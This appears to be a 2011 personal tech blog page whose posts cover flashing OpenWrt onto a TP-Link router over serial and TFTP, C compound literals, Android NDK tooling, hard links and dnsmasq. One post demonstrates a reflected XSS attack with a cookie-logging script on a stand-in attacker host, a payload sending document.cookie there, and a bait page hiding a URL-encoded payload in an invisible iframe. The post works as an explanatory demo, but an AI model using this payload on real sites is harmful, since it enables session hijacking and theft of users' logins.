2011-12-31 23:59:50
/network

MR11U的固件还没出,拿MR3420练了个手。

Update. 出了:

网刷比较无聊,把固件传上去就行了。有的官方ROM会检查固件头,不同版本改法不一样。

JTAG因为没有器材也没搞,感觉不刷bootloader的话也用不到吧。

所以就只是用串口试了一下。因为现在的机器大多没串口了就用USB转串口。比较常用的转换器是Prolific的PL2303,Linux应该已经有它的驱动了。用lsmod usbserial确认一下就行了。

然后配置一下minicom。Serial port setup里面的Serial Device设置成/dev/ttyUSB0,Bps/Par/Bits设置成115200 8N1,Hardware Flow Control关闭。配置完了选Save setup as dfl保存。最后Exit from Minicom退出。

关闭路由器。保持线缆连接,启动minicom,给路由器重新上电,这时候就能在minicom里看到路由器启动的消息了:

U-Boot 1.1.4 (May 12 2010 - 12:48:25)

AP99 (ar7241 - Virian) U-boot
DRAM:  
sri
ar7240_ddr_initial_config(133): virian ddr1 init
#### TAP VALUE 1 = 0xf, 2 = 0x10 [0x0: 0x1f]
32 MB
id read 0x100000ff
sector count = 64
Flash:  4 MB
Using default environment

In:    serial
Out:   serial
Err:   serial
Net:   ag7240_enet_initialize...
No valid address in Flash. Using fixed address
No valid address in Flash. Using fixed address
Virian MDC CFG Value ==> 4
: cfg1 0xf cfg2 0x7014
eth0: 00:03:7f:09:0b:ad
eth0 up
Virian MDC CFG Value ==> 4
: cfg1 0xf cfg2 0x7214
eth1: 00:03:7f:09:0b:ad
ATHRS26: resetting s26
ATHRS26: s26 reset done
eth1 up
eth0, eth1
Autobooting in 1 seconds

看到那个Autobooting in 1 seconds的时候快速敲下tpl三个键,阻止bootloader加载内核并显示prompt。不知道命令就打help。有个printenv可以试一下,能看到bootloader的一些设置,例如本机和服务器IP,以及从哪个地址启动内核之类:

ar7240> printenv
bootargs=console=ttyS0,115200 root=31:02 rootfstype=jffs2 init=/sbin/init mtdparts=ar7240-nor0:256k(u-boot),64k(u-boot-env),2752k(rootfs),896k(uImage),64k(NVRAM),64k(ART) REVISIONID
bootcmd=bootm 0x9f020000
bootdelay=1
baudrate=115200
ethaddr=0x00:0xaa:0xbb:0xcc:0xdd:0xee
ipaddr=192.168.1.10
serverip=192.168.1.27
stdin=serial
stdout=serial
stderr=serial
ethact=eth0

Environment size: 368/65532 bytes

知道怎么回事了就先退出来,把该下载的东西下载了。比如ROM映像:http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-tl-mr3420-v1-squashfs-factory.bin

然后在PC机上安装tftpd。Arch上可用yaourt -S tftp-hpa搞定。/etc/rc.d/tftpd start即可启动,默认根目录为/var/tftpboot,当然可以在配置文件/etc/conf.d/tftpd里面改。

把上面那个文件下来改名成code.bin(这样以后少敲很多字母),放在/var/tftpboot目录下面。将和路由器相连的网卡的地址设为192.168.1.27(在printenv时看到过的),然后启动tftpd。用tftp 192.168.1.27和get code.bin测试一下,保证能下载。

然后给路由器上电,还是关键点那个地方敲tpl进入bootloader的prompt。然后输入下面的命令(前面那个是prompt,你懂的):

ar7240> erase 0x9f020000 +0x3c0000
ar7240> tftpboot 0x81000000 code.bin
ar7240> cp.b 0x81000000 0x9f020000 0x3c0000 
ar7240> bootm 0x9f020000 

这一坨干的事情就是说把flash上以0x9f020000为起点,长度为0x3c0000的区块擦除。然后用TFTP把code.bin(长度正好为0x3c0000)加载到RAM,再把RAM的数据写到flash,最后从flash的指定位置启动。

然后就进到OpenWrt里面去了,剩下的爱怎么折腾怎么折腾。

最后是用串口烧ROM时候的完整log:

ar7240> erase 0x9f020000 +0x3c0000

First 0x2 last 0x3d sector size 0x10000
  61
Erased 60 sectors
ar7240> tftpboot 0x81000000 code.bin
dup 1 speed 1000
Using eth1 device
TFTP from server 192.168.1.27; our IP address is 192.168.1.10
Filename 'code.bin'.
Load address: 0x81000000
Loading: #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         #################################################################
         ######################################################
done
Bytes transferred = 3932160 (3c0000 hex)
ar7240> cp.b 0x81000000 0x9f020000 0x3c0000
Copy to Flash... write addr: 9f020000
done
ar7240> bootm 0x9f020000

哦,还要上图两张:

mr3420-outer-tn.png

mr3420-inner-tn.png

Links:

posted by Cyker Way
2011-12-27 16:02:07
/others

咳,那个,一年拉几百万美刀的老板让人情何以堪啊……

穷孩子乖乖干活去了……

Links:

posted by Cyker Way
2011-12-19 16:28:09
/coding/C

C里面的结构体的初始化和赋值还是挺好玩的。比如说有个结构体comp如下:

struct comp {
    int x;
    int y;
};

那么初始化comp类型变量的一般方法就是:

struct comp z1 = {2, 3};

如果不想按照struct comp对其成员定义的顺序(C89-style initializer)来初始化,可以用另一种形式(designated initializer):

struct comp z1 = {
    .y = 3, 
    .x = 2, 
};

效果是一样的。

如果在初始化时有些成员的值没有指定,默认为0。例如如下定义一个全0的结构体:

struct comp z1 = {};

所有这些初始化的方法在赋值时都没用了。如果z1是一个已经定义了的结构体,现在想让z1具有值{6, 7},只能:

z1.x = 6;
z1.y = 7;

或者:

struct comp z2 = {6, 7};
z1 = z2;

然后从第二种方法里可以得到一些启发,能不能直接一步做完?于是就有了C99中出现的一个方法:compound literal。还是以给z1赋值为例,使用方法如下:

z1 = (struct comp) {6, 7};

这就干净多了。其实也就相当于:

struct comp temp = {6, 7};
z1 = temp;

也不一定非得用常量,变量也行:

int i = 6, j = 7;
z1 = (struct comp) {i, j};

或者更花哨一点:

z2 = (struct comp) {
    .y = i, 
    .x = j, 
};

总的来说就是允许用初始化的语法来对结构体赋值了。

比较神奇的是compound literal是个左值,也就是说可以这样写:

struct comp z1 = {2, 3};
(struct comp) {6, 7} = z1;

虽然看上去不知道有啥用……

Note. 在传参时可能有点用。比如一个函数会修改形参,那传一个compound literal进去可以省却定义一个临时变量。

但不管咋说compound literal在结构体赋值时还是很有用的。

Links:

posted by Cyker Way
2011-12-18 02:23:55
/Google/Android

ndk-build之后出来这么一坨:

/opt/android-ndk/prebuilt/linux-x86/bin/awk: /opt/android-ndk/prebuilt/linux-x86/bin/awk: cannot execute binary file
Android NDK: Host 'awk' tool is outdated. Please define HOST_AWK to point to Gawk or Nawk !
/opt/android-ndk/build/core/init.mk:258: *** Android NDK: Aborting.    .  Stop.

按照提示设置HOST_AWK也不行。无奈file了一下那个出问题的awk发现居然是64位的……这……

解决方法是把那个出问题的awk删掉或改名,然后就会用系统里的了:

cd /opt/android-ndk/prebuilt/linux-x86/bin
mv awk awk_
posted by Cyker Way
2011-12-17 05:23:26
/Google/Android

弄toolchain真费劲,最后发现还是NDK里的好用。目前用的NDK是r7-1版本,也许将来还会有变。

安装Android-NDK:

yaourt -S android-ndk

设置环境变量:

PATH=$PATH:/opt/android-ndk/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin

为简单起见建了个Bash脚本命名为aadb,内容为:

#!/bin/bash

arm-linux-androideabi-gcc --sysroot /opt/android-ndk/platforms/android-4/arch-arm -fPIC -mandroid -DANDROID -DOS_ANDROID "$@"

弄个helloworld.c试一下:

#include <stdio.h>

int main()
{
    printf("Hello, world!\n");
    return 0;
}

编译,放进Android:

agcc -o helloworld helloworld.c
adb push helloworld /system/bin

在Android shell里面:

helloworld

输出:

Hello, World!

成功了……

Update. 在/opt/android-ndk/docs/STANDALONE-TOOLCHAIN.html看见更专业的玩法应该是建立一个独立工具链,方法是:

/opt/android-ndk/build/tools/make-standalone-toolchain.sh --platform=android-4 --install-dir=/tmp/my-android-toolchain

sysroot会自动设置好。用的时候这样就行了:

export PATH=/tmp/my-android-toolchain/bin:$PATH
export CC=arm-linux-androideabi-gcc

Links:

posted by Cyker Way
2011-12-16 23:11:22
/Linux

Find all hard links to a.txt in current directory:

find -xdev -samefile a.txt

Display the inode number of a.txt:

ls -i a.txt

Find all files (mutual hard links) with the same inode number 2000 in current directory:

find -xdev -inum 2000

-xdev means not descending directories on other filesystems. Omit it if you're sure the operation is performed on a single filesystem.

Links:

posted by Cyker Way
2011-12-15 20:33:48
/others

看完这个,想想当年玩电子元件焊接的设备真是不齐全,不专业啊。

另附吸锡线使用方法图示:http://mtoou.info/xixixian-syff/

posted by Cyker Way
2011-12-11 05:58:03
/Linux

某设备好像保存静态IP设置有点问题于是索性DHCP了,用dnsmasq顺带加速一下DNS查询好了。照Wiki上的编辑/etc/dnsmasq.conf如下

interface=wlan0 #提供服务的interface
bind-interfaces #绑定到具体interface而不是*
dhcp-range=192.168.111.50,192.168.111.100,12h #DHCP IP range
dhcp-host=aa:bb:cc:dd:ee:ff,192.168.111.50 #设置静态IP-MAC绑定

然后到/etc/resolv.conf把第一个nameserver设置成127.0.0.1就行了。真简单。

posted by Cyker Way
2011-12-11 01:13:17
/network

Just wondering about how powerful XSS can be and how to utilize it gracefully, I decide to implement a simple XSS attack scheme.

First, make an insecure site, say a search engine:

<?php
//setcookie('username', 'Bob Smith');
//setcookie('country', 'United States');
    function get_cookie()
    {
        if (empty($_COOKIE))
            return 'No cookie';

        $result = '';
        foreach ($_COOKIE as $key => $value)
            $result = $result.$key.'='.$value.',';
        return $result;
    }

    function get_query()
    {
        if (isset($_GET['query']))
            return $_GET['query'];
        else
            return 'No query';
    }
?>
<html>
    <head>
        <title>A Weak Search Engine</title>
    </head>
    <body>
        <p>Cookie: <span id="cookie"><?php echo get_cookie();?></span></p>
        <p>Search Query: <span id="query"><?php echo get_query();?></span></p>
    </body>
</html>

This search engine will show cookies (to facilitate visualization) and the search query (but no search results...). That's a reasonable setting.

Why is this search engine insecure? Because it doesn't filter the search query but directly displays it on the response page. Now we'll utilize it. Without loss of generality, we let the domain of it be search.example.com.

Now a malicious user can maintain a website mallory.example.com. On this site she has a PHP script steal.php:

<?php
    $fp = fopen('/tmp/mallory.txt', 'w');
    fwrite($fp, $_GET['cookie']);
    fclose($fp);

    $im = file_get_contents('/tmp/im.png');
    header('content-type: image/png');
    echo $im; 
?>

steal.php will record the 'cookie' parameter permanently and returns an image.

The use of steal.php will be obvious when we introduce the search query:

newest laptop<script type="text/javascript">var i = document.createElement('img');i.src = 'http://mallory.example.com/steal.php?cookie='+document.cookie;</script>

We use the img tag because it can cross domain. If a logged-in user has ever made such a search query, then his cookies will be stolen.

How to entice the user to make such a query? By embedding the link inside a hidden iframe. We can make a very innocent page containing a hidden iframe. No need to use client-side script. So the same origin policy for iframe doesn't help. As soon as the user activates the iframe by visiting the containing page, his cookies get stolen.

The enticing page is called bait.html, which can reside on any server (not necessary to be search.example.com or mallory.example.com).

<html>
    <head>
        <title>An innocent page</title>
    </head>
    <body>
        <p>This page looks very innocent, isn't it?</p>
        <iframe style="display:none;" src="http://search.example.com/?query=%6E%65%77%65%73%74%20%6C%61%70%74%6F%70%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%69%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%69%6D%67%27%29%3B%69%2E%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%6D%61%6C%6C%6F%72%79%2E%65%78%61%6D%70%6C%65%2E%63%6F%6D%2F%73%74%65%61%6C%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E"></iframe>
    </body>
</html>

The search query is encoded so that it won't be too obvious that someone is doing bad even the source code is viewed.

The whole attack goes as follows. Mallory will spread the page bait.html. If a user Bob, who has ever logged in search.example.com, visits bait.html, he will activate the hidden iframe. Thereby he sends the malicious query to search.example.com and leaks his cookies. And what's even worse, he won't notice this on page bait.html.

This is a traditional nonpermanent/reflected XSS attack (because the target website reflects the malicious query).

The conclusion is that XSS attack is very flexible and can be conducted in three steps. First, find a vulnerable page on the target website. Second, make a malicious query. Third, hide the malicious query inside an innocent-looking page and widely spread it (via email, forums, etc.). Actually the third step looks more like CSRF, or more precisely described as CSRF is used to help XSS. If you have better ways to lure the victim to send the malicious query, then the first two steps suffice.

The related code is provided: XSS package

posted by Cyker Way
2011-12-06 23:33:14
/others

台湾媒体做的85秒了解SOPA动画,太有趣了~

矽谷可以動員鄉民!鄉民!

posted by Cyker Way
/images/Facebook_32x32.png
/images/Twitter_32x32.png
/images/Feed_32x32.png
Creative Commons divcense